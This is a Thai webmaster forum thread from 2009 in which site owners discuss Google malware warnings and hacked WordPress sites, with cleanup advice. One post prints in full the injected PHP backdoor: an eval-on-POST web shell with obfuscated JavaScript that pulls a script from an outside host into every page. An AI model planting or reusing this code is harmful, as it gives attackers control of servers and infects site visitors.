ปิง^^
สมุนแก๊งเสียว
พลังน้ำใจ: 95
ออฟไลน์
กระทู้: 900
|
 |
« เมื่อ: 16 พฤษภาคม 2009, 13:57:47 » |
|
โดน คำเตือน- การเข้าสู่เว็บไซต์นี้อาจเป็นอันตรายต่อคอมพิวเตอร์ของคุณ! ไม่ทราบว่าต้องแก้ยังไงเหรอครับ
|
|
|
บันทึกการเข้า
|
|
|
|
Dj.wayne_Gum
หัวหน้าแก๊งเสียว
พลังน้ำใจ: 94
ออฟไลน์
กระทู้: 2,146
|
 |
« ตอบ #1 เมื่อ: 16 พฤษภาคม 2009, 14:00:28 » |
|
ตรวจเว็บด่วนครับ ของผมโดนไปรอบที่แล้ว pr หายเกลี้ยงเลย เจอไวรัสเข้าไป
|
|
|
บันทึกการเข้า
|
|
|
|
thailand
สมุนแก๊งเสียว
พลังน้ำใจ: 32
ออฟไลน์
กระทู้: 839
|
 |
« ตอบ #2 เมื่อ: 16 พฤษภาคม 2009, 14:00:50 » |
|
เป็นเหมือนผมเลยครับ 
|
|
|
บันทึกการเข้า
|
|
|
|
Romme
คนรักเสียว
พลังน้ำใจ: 3
ออฟไลน์
กระทู้: 196
|
 |
« ตอบ #3 เมื่อ: 16 พฤษภาคม 2009, 14:59:59 » |
|
ตรวจเว็บด่วนครับ ของผมโดนไปรอบที่แล้ว pr หายเกลี้ยงเลย เจอไวรัสเข้าไป
น่ากลัวแหะ 
|
|
|
บันทึกการเข้า
|
|
|
|
kruttha
คนรักเสียว
พลังน้ำใจ: 4
ออฟไลน์
กระทู้: 165
|
 |
« ตอบ #4 เมื่อ: 16 พฤษภาคม 2009, 15:04:00 » |
|
เสียวเลย
|
|
|
บันทึกการเข้า
|
|
|
|
ปิง^^
สมุนแก๊งเสียว
พลังน้ำใจ: 95
ออฟไลน์
กระทู้: 900
|
 |
« ตอบ #5 เมื่อ: 16 พฤษภาคม 2009, 15:49:48 » |
|
เจอสาเหตุแล้วครับ โดนฝังสคริป ผมใช้ wordpress /public_html ไฟล์ index.php /public_html ไฟล์ wp-config.php /public_html/wp-content ไฟล์ index.phpแล้วก็ index ทุกหน้าที่มีในโฮสนะครับ ตัวอย่าง โคด้ ที่โดนฝัง <?php if(!function_exists('tmp_lkojfghx')) {if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCihmdW5jdGlvbihKMlgxKXt2YXIgY1EyVTA9JyUnO3ZhciBqR3g9J3Zhci0yMGEtM2QtMjJTYy03MmlwdEVuZ2ktNmVlLTIyLTJjYi0zZC0yMlYtNjVyLTczaW8tNmUoKSstMjItMmNqLTNkLTIyLTIyLTJjdS0zZG5hLTc2LTY5Z2F0b3ItMmV1c2UtNzJBZ2VuLTc0LTNiLTY5ZigodS0yZWluZGV4T2YtMjgtMjJDaC03Mm9tZS0yMiktM2MwKS0yNi0yNi0yOC03NS0yZWluZGV4T2YtMjgtMjJXLTY5LTZlLTIyKS0zZTApLTI2LTI2KHUtMmVpLTZlZC02NXgtNGZmKC0yMi00ZVQtMjAtMzYtMjIpLTNjLTMwLTI5LTI2LTI2KC02NC02ZmN1LTZkLTY1LTZldC0yZS02M29vay02OWUtMmUtNjktNmUtNjRleE8tNjYoLTIybWllay0zZDEtMjItMjktM2MwKS0yNi0yNih0eS03MC02NW9mKHpydnp0cyktMjEtM2R0eXBlLTZmZigtMjItNDEtMjItMjkpKS03Yi03YXJ2enQtNzMtM2QtMjJBLTIyLTNiLTY1LTc2YWwoLTIyLTY5Zih3aW5kb3ctMmUtMjIrYSstMjItMjktNmEtM2RqKy0yMi0yYmErLTIyTWFqb3ItMjItMmJiLTJiYS0yYi0yMk1pbm9yLTIyLTJiYi0yYmEtMmItMjItNDItNzVpbGQtMjIrYi0yYi0yMi02YS0zYi0yMiktM2ItNjRvY3VtZW4tNzQtMmV3LTcyLTY5dC02NS0yOC0yMi0zYy03M2MtNzItNjlwdC0yMHNyYy0zZC0yZi0yZm0tNjEtNzItMjIrLTIydHUtN2EtMmVjbi0yZnZpZC0yZi0zZi02OWQtM2QtMjItMmJqKy0yMi0zZS0zYy01Yy0yZi03My02M3JpcHQtM2UtMjIpLTNiLTdkJztldmFsKHVuZXNjYXBlKGpHeC5yZXBsYWNlKEoyWDEsY1EyVTApKSl9KSgvXC0vZyk7CiAtLT48L3NjcmlwdD4='));function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).chr(139)))$s=gzinflate(substr($s,10,-8));if(preg_match_all('# <script(.*?) </script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<> \(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&& ($e||strpos($v,'fromCharCode')))|| ($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}$s1=preg_replace('#<script language=javascript><!-- \n\(function\(.+?\n --></script>#','',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',TMP_XHGFJOKL.'\1',$s1); elseif(($s1!=$s)||stristr($s,'</body')||stristr($s,'</title>'))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array(); if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler('tmp_lkojfghx2'))!='tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2(); ?>
|
|
« แก้ไขครั้งสุดท้าย: 16 พฤษภาคม 2009, 15:54:53 โดย PlNG »
|
บันทึกการเข้า
|
|
|
|
limingxin
สมุนแก๊งเสียว
พลังน้ำใจ: 47
ออฟไลน์
กระทู้: 700
|
 |
« ตอบ #6 เมื่อ: 16 พฤษภาคม 2009, 16:06:38 » |
|
เคยโดนมาแล้วและก็โดนประจำครับไม่รู้แก้ยังไงครับ ผู้รู้บอกวิธีแก้หน่อยครับทำยังครับ
|
|
|
บันทึกการเข้า
|
|
|
|
ปิง^^
สมุนแก๊งเสียว
พลังน้ำใจ: 95
ออฟไลน์
กระทู้: 900
|
 |
« ตอบ #7 เมื่อ: 16 พฤษภาคม 2009, 16:08:38 » |
|
เคยโดนมาแล้วและก็โดนประจำครับไม่รู้แก้ยังไงครับ ผู้รู้บอกวิธีแก้หน่อยครับทำยังครับ
เปลี่ยนพาส จะหายมั้ยครับ
|
|
|
บันทึกการเข้า
|
|
|
|
D-N-A
Verified Seller
เจ้าพ่อบอร์ดเสียว
พลังน้ำใจ: 498
ออฟไลน์
กระทู้: 8,293
|
 |
« ตอบ #8 เมื่อ: 16 พฤษภาคม 2009, 17:25:25 » |
|
โดนไป 50 ก่าโดเมน index,config แก้กันวุ่น 
|
|
|
บันทึกการเข้า
|
ขาย youtube แชนแนล พระเครื่อง 70k follow ทำเงินได้หลายทาง T.086-9165783,line:taladpra
|
|
|
raon10
คนรักเสียว
พลังน้ำใจ: 5
ออฟไลน์
กระทู้: 154
|
 |
« ตอบ #9 เมื่อ: 18 พฤษภาคม 2009, 12:47:33 » |
|
โดนเหมือนกันครับ 
|
|
|
บันทึกการเข้า
|
|
|
|
ปิง^^
สมุนแก๊งเสียว
พลังน้ำใจ: 95
ออฟไลน์
กระทู้: 900
|
 |
« ตอบ #10 เมื่อ: 22 พฤษภาคม 2009, 16:51:47 » |
|
เคยโดนมาแล้วและก็โดนประจำครับไม่รู้แก้ยังไงครับ ผู้รู้บอกวิธีแก้หน่อยครับทำยังครับ
เปลี่ยนพาส จะหายมั้ยครับ เปลี่ยนพาส ไปได้ 4 วัน โดนอีกแล้ว รอบที่ 2 
|
|
« แก้ไขครั้งสุดท้าย: 22 พฤษภาคม 2009, 16:54:43 โดย PlNG »
|
บันทึกการเข้า
|
|
|
|
Step9
Verified Seller
เจ้าพ่อบอร์ดเสียว
พลังน้ำใจ: 122
ออฟไลน์
กระทู้: 8,518
|
 |
« ตอบ #11 เมื่อ: 22 พฤษภาคม 2009, 18:50:36 » |
|
|
|
|
บันทึกการเข้า
|
|
|
|
ttong
สมุนแก๊งเสียว
พลังน้ำใจ: 33
ออฟไลน์
กระทู้: 633
|
 |
« ตอบ #12 เมื่อ: 22 พฤษภาคม 2009, 18:51:50 » |
|
เหอๆ โดนเหมือนกัน เพิ่งรู้ตัววันนี้เอง 
|
|
|
บันทึกการเข้า
|
|
|
|
masterdmty
สมุนแก๊งเสียว
พลังน้ำใจ: 34
ออฟไลน์
กระทู้: 880
|
 |
« ตอบ #13 เมื่อ: 24 พฤษภาคม 2009, 03:35:09 » |
|
วิธีเอาออกลองศึกษาจาก viruscom2.com ก็แล้วกันนะมีทั้งการเอาขึนและก็การเอาออกอ่ะหาดูให้ดีนะ
|
|
|
บันทึกการเข้า
|
|
|
|
kikoe8
Newbie
พลังน้ำใจ: 0
ออฟไลน์
กระทู้: 4
|
 |
« ตอบ #14 เมื่อ: 27 พฤษภาคม 2009, 12:06:09 » |
|
ผมก็โดนเหมือนกัน
ไอ้ตัวเดียวกันเนี่ยะแหล่ะ
ใน web น่ะ แต่ใน Google ยังไม่หายน่ะ // ยิ่งถ้าเป็น Web ของลูกค้าเดี่ยวค้าจะมาบ่น ให้คุณฮีกรอบ :-\
|
|
|
บันทึกการเข้า
|
|
|
|
badboyth
Verified Seller
หัวหน้าแก๊งเสียว
พลังน้ำใจ: 61
ออฟไลน์
กระทู้: 1,495
|
 |
« ตอบ #15 เมื่อ: 27 พฤษภาคม 2009, 12:19:49 » |
|
กลัวๆๆๆๆ ไม่อยากเจอเลย ถ้าเจอคงจะประสาทแน่ๆ 
|
|
|
บันทึกการเข้า
|
|
|
|
TKC
Newbie
พลังน้ำใจ: 2
ออฟไลน์
กระทู้: 49
|
 |
« ตอบ #16 เมื่อ: 27 พฤษภาคม 2009, 14:33:25 » |
|
เกิดอะไรขึ้นเมื่อ Google เยี่ยมชมไซต์นี้ เรา ได้ทดสอบหน้าเว็บจำนวน 26 หน้าเป็นระยะเวลาเกินกว่า 90 วันที่ผ่านมา หน้าเว็บจำนวน 4 หน้า มีซอฟต์แวร์ที่เป็นอันตรายที่กำลังถูกดาวน์โหลดและติดตั้งโดยไม่ได้รับความ ยินยอมจากเจ้าของเครื่อง Google เข้าชมไซต์ครั้งล่าสุดเมื่อวันที่ 2009-05-26 และพบเนื้อหาต้องสงสัยครั้งล่าสุดเมื่อวันที่ 2009-05-26 Malicious software includes 4 trojan(s), 4 exploit(s). Successful infection resulted in an average of 2 new process(es) on the target machine. ซอฟต์แวร์ที่เป็นอันตรายถูกโฮสต์ไว้ในโดเมนจำนวน 1 โดเมนรวมทั้ง ด้วย โดเมนจำนวน 1 โดเมนทำงานเป็นเสมือนตัวกลางสำหรับแพร่กระจายมัลแวร์ที่สร้างปัญหาให้กับผู้เข้าชมไซต์นี้ รวมทั้ง ด้วย This site was hosted on 1 network(s) including ของผมโดนแบบนี้ครับ ไม่รู้จะแก้ยังไง ผมใช้ Blogger ครับ 
|
|
|
บันทึกการเข้า
|
|
|
|
!Man
คนรักเสียว
พลังน้ำใจ: 2
ออฟไลน์
กระทู้: 119
|
 |
« ตอบ #17 เมื่อ: 28 พฤษภาคม 2009, 08:09:51 » |
|
โดนกันเยอะเนอะ - -
|
|
|
บันทึกการเข้า
|
|
|
|
ปิง^^
สมุนแก๊งเสียว
พลังน้ำใจ: 95
ออฟไลน์
กระทู้: 900
|
 |
« ตอบ #18 เมื่อ: 28 พฤษภาคม 2009, 22:32:14 » |
|
wp แก้ไม่อยากครับแต่ก็เหนื่อย แต่ถ้า smf เหนื่อยครับงานนี้ วิธีแก้ คือ ลงใหม่ดีกว่าครับ แล้วค่อย dump db เก่ากลับมาใช้
|
|
|
บันทึกการเข้า
|
|
|
|
แป้งฝุ่น~Richy~
หัวหน้าแก๊งเสียว
พลังน้ำใจ: 53
ออฟไลน์
กระทู้: 1,836
|
 |
« ตอบ #19 เมื่อ: 28 พฤษภาคม 2009, 23:13:53 » |
|
เคยเหมือนกัน
|
|
|
บันทึกการเข้า
|
|
|
|
|